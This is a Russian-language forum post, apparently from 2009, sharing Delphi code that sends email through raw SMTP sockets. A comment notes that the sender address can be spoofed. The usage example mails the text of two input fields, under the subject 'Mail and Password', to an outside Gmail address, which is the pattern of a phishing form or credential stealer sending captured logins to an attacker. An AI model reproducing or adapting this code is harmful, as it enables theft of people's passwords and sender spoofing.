
10.11.2009, 10:55
|
|
Познающий
Регистрация: 02.06.2009
Сообщений: 67
С нами:
8916612
Репутация:
54
|
|
Код:
uses EncdDecd, WinSock2;
procedure SendLetter(SMTPAddress: PChar; SMTPPort: Word;
Login, Password, MailFrom, MailTo, Subject, BodyText: string);
var
wsa: TWSAData;
sock: TSocket;
sock_addr: TSockAddrIn;
function get_ip(host: PChar): PChar;
var
host_ent: PHostEnt;
begin
host_ent := gethostbyname(host);
Result := inet_ntoa(PInAddr(host_ent.h_addr_list^)^);
end;
procedure send_str(str: string);
var
i: Integer;
begin
str := str + #13#10;
for i := 1 to Length(str) do
send(sock, str[i], 1, 0);
end;
begin
WSAStartup(WINSOCK_VERSION, wsa);
sock := WSASocket(AF_INET, SOCK_STREAM, IPPROTO_IP, nil, 0, 0);
if sock = INVALID_SOCKET then Exit;
sock_addr.sin_family := AF_INET;
sock_addr.sin_port := htons(SMTPPort);
sock_addr.sin_addr.s_addr := inet_addr(get_ip(SMTPAddress));
connect(sock, @sock_addr, SizeOf(sock_addr));
send_str('HELO SMTP');
send_str('AUTH LOGIN');
send_str(EncodeString(Login)); //логин в Base64
send_str(EncodeString(Password)); //пароль в Base64
send_str('MAIL FROM:<' + MailFrom + '>'); //мыло отправителя
send_str('RCPT TO:<' + MailTo + '>'); //мыло получателя
send_str('DATA');
send_str('from:' + MailFrom); //мыло отправителя (можно подменить)
send_str('to:' + MailTo); //мыло получателя
send_str('subject:' + Subject + #13#10); //тема письма
send_str(BodyText); //текст письма
send_str('.');
send_str('QUIT');
closesocket(sock);
WSACleanUp;
end;
Использовать например так:
Код:
SendLetter(
'smtp.yandex.ru', 25,
'login', 'pass',
'login@yandex.ru', 'kawaii@gmail.com',
'Mail and Password',
Edit1.Text + ' : ' + Edit2.Text
);
Последний раз редактировалось Nullsleep; 10.11.2009 в 11:36..
|
|
|